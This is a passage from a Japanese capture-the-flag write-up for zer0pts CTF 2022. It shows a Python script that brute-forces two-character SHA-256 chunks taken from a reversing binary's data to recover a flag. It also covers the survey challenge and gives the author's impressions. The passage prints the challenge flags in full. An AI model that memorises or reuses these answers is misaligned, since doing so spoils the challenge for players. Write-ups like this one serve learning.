7Ah, 5Eh, 7, 0D6h, 0FDh, 0C6h, 2, 0B0h, 0F9h, 0B9h 9Fh, 6Eh, 0A2h, 4Ch, 39h, 0E6h, 58h, 35h, 99h, 2Fh 0AAh, 0C4h, 0, 26h, 4Ch, 52h, 44h, 9Bh, 0C4h, 9, 0CFh 4Eh, 0FAh, 0E4h, 0DCh, 0D6h, 0D3h, 13h, 0AFh, 71h, 55h 95h, 96h, 0D3h, 0, 9Ch, 12h, 0D0h, 25h, 30h, 18h, 42h 0D8h, 0C7h, 0F8h, 88h, 0C2h, 85h, 3, 33h, 0E9h, 1Ah 9Bh, 0DAh, 68h, 0FFh, 0FDh, 0FFh, 4Bh, 7, 0A9h, 0D9h 73h, 0FDh, 1Ch, 3Ah, 6Bh, 0E4h, 43h, 85h, 1Bh, 0C1h 3Eh, 82h, 0C4h, 0AFh, 94h, 0C8h, 83h, 25h, 24h, 46h 94h, 0E3h, 52h, 0AAh, 31h, 3Fh, 0FFh, 0D0h, 18h, 0D2h 22h, 30h, 20h, 0BEh, 85h, 67h, 0Dh, 93h, 0F5h, 65h 0B6h, 3Dh, 0F5h, 4Ah, 9Ch, 0E3h, 0EDh, 2Ch, 0DFh, 63h 47h, 0A6h, 1Dh, 0F0h, 16h, 93h, 8Ch, 0B2h, 94h, 18h 52h, 28h, 25h, 62h, 0CCh, 3Dh, 81h, 3Eh, 8Bh, 0F1h 70h, 5Dh, 4, 80h, 0A7h, 0A0h, 8, 0FFh, 0A2h, 47h, 55h 1, 0D7h, 0C5h, 16h, 11h, 65h, 0A7h, 0FBh, 63h, 5Ch 0A7h, 3Dh, 0, 0D4h, 0F2h, 8Bh, 5Fh, 57h, 3Bh, 16h, 0EEh 0A5h, 6Eh, 9Eh, 45h, 79h, 0D7h, 7Eh, 56h, 1Ch, 32h 0AAh, 68h, 18h, 9Dh, 97h, 69h, 0FAh, 17h, 53h, 0A4h 0D0h, 0EFh, 23h, 16h, 1Bh, 5Bh, 7Ch, 6Ah, 8Dh, 5Bh 28h, 75h, 43h, 0FDh, 74h, 0E1h, 6Bh, 3Bh, 0F3h, 13h 0D7h, 1Ah, 0A1h, 87h, 0C2h, 4Ch, 0DDh, 72h, 8Ah, 7Bh 1Eh, 0E0h, 0B9h, 0A8h, 79h, 9Fh, 32h, 45h, 3Ah, 47h 8Ch, 91h, 22h, 0F8h, 0B8h, 3Ch, 0EEh, 68h, 0E1h, 6Dh 0B1h, 8Fh, 49h, 3Ah, 0C8h, 1Bh, 0C1h, 0D4h, 74h, 59h 4Bh, 5Dh, 0F4h, 56h, 49h, 99h, 0CBh, 0BFh, 0EAh, 80h 17h, 0Bh, 0A0h, 68h, 0DCh, 0F9h, 61h, 0D9h, 91h, 46h 25h, 0F3h, 0BEh, 95h, 1Bh, 2Ch, 1Fh, 0E1h, 63h, 0BAh 0E0h, 0F8h, 15h, 6Ch, 24h, 4Ah, 44h, 0DCh, 15h, 36h 42h, 4, 0A8h, 0Fh, 0E8h, 0Eh, 90h, 39h, 45h, 5Ch, 0C1h 60h, 82h, 81h, 82h, 0Fh, 0E2h, 0B2h, 4Fh, 1Eh, 52h 33h, 0ADh, 0E6h, 0AFh, 1Dh, 0D5h, 0E9h, 17h, 87h, 6 8Ah, 3Ch, 60h, 0E9h, 71h, 2Ah, 7Ah, 0BEh, 0B6h, 0A6h 7Fh, 51h, 8Ah, 40h, 72h, 3Ch, 1Bh, 89h, 0C1h, 1Dh, 60h 70h, 0FEh, 5Fh, 93h, 89h, 0EBh, 0F9h, 7Eh, 0B7h, 2 57h, 59h, 3Dh, 0A0h, 6Fh, 68h, 2Ah, 3Dh, 0DDh, 0A5h 4Ah, 9Dh, 26h, 0Dh, 4Fh, 0C5h, 14h, 0F6h, 45h, 23h 7Fh, 5Ch, 0A7h, 4Bh, 8, 0F8h, 0DAh, 61h, 0A6h, 96h 0A2h, 96h, 0D2h, 24h, 0F2h, 85h, 0C6h, 7Bh, 0EEh, 93h 0C3h, 0Fh, 8Ah, 30h, 91h, 57h, 0F0h, 0DAh, 0A3h, 5Dh 0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h, 63h, 0Ah, 9, 0CFh, 0C7h 96h, 0A2h, 96h, 0D2h, 24h, 0F2h, 85h, 0C6h, 7Bh, 0EEh 93h, 0C3h, 0Fh, 8Ah, 30h, 91h, 57h, 0F0h, 0DAh, 0A3h 5Dh, 0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h, 63h, 0Ah, 9, 0CFh 0C7h, 96h, 0A2h, 96h, 0D2h, 24h, 0F2h, 85h, 0C6h, 7Bh 0EEh, 93h, 0C3h, 0Fh, 8Ah, 30h, 91h, 57h, 0F0h, 0DAh 0A3h, 5Dh, 0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h, 63h, 0Ah 9, 0CFh, 0C7h, 96h, 0A2h, 96h, 0D2h, 24h, 0F2h, 85h 0C6h, 7Bh, 0EEh, 93h, 0C3h, 0Fh, 8Ah, 30h, 91h, 57h 0F0h, 0DAh, 0A3h, 5Dh, 0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h 63h, 0Ah, 9, 0CFh, 0C7h, 96h, 0A2h, 96h, 0D2h, 24h 0F2h, 85h, 0C6h, 7Bh, 0EEh, 93h, 0C3h, 0Fh, 8Ah, 30h 91h, 57h, 0F0h, 0DAh, 0A3h, 5Dh, 0C5h, 0B8h, 7Eh, 41h """ # 多分 0Bh, 78h, 63h, 0Ah, 9, 0CFh, 0C7h, 20h dup(0) は使わないはず…… sha256_digests = bytearray() for line in expected_hash_text.strip().split("\n"): for elem in line.split(", "): if elem[-1] == "h": elem = elem[:-1] sha256_digests.append(int("0x" + elem, 16)) print(f"{len(sha256_digests)=}") def search(index): flag_range = range(0x20, 0x7F) # flag文字列の後には"\x00\x00"のSHA256ハッシュ値があるみたいです expected = sha256_digests[index*32:(index+1)*32] for a in flag_range: for b in flag_range: ab = chr(a)+chr(b) h = hashlib.sha256(ab.encode()).digest() assert len(expected) == len(h) if expected == h: return ab raise Exception(f"Not found in {index}!") for i in range(32): print(search(i), end="")
実行しました:
$ ./solve.py len(sha256_digests)=1017 zer0pts{m0d1fy1ng_PE_1mp0rts_1s_4n_34sy_0bfusc4t10n}Traceback (most recent call last): File "./solve.py", line 132, in <module> print(search(i), end="") File "./solve.py", line 129, in search raise Exception(f"Not found in {index}!") Exception: Not found in 26! $
例外が発生しましたが、ともかくフラグを入手できました: zer0pts{m0d1fy1ng_PE_1mp0rts_1s_4n_34sy_0bfusc4t10n}
[survey] survey (66 points, 270 solves)
Please answer the survey for the flag. The more detailed your feedback is, the happier the organizers will be.
問題文中の一部にGoogle FormへのURLが貼られています。アンケートに回答しました:
zer0pts CTF 2022 - Survey Thank you for your feedback! We hope you enjoyed the CTF :-) zer0pts{4r1g4t0_f0r_pl4y1ng_zer0pts_CTF!}
フラグを入手できました: zer0pts{4r1g4t0_f0r_pl4y1ng_zer0pts_CTF!}
感想
- warmupで精一杯でした!難しかったです!
- けれどもwarmupは全て解けたので満足です。pwnも出来たのは嬉しいです。
- rev問題でインポートテーブルを書き換えるバイナリが出てきたことに驚きました。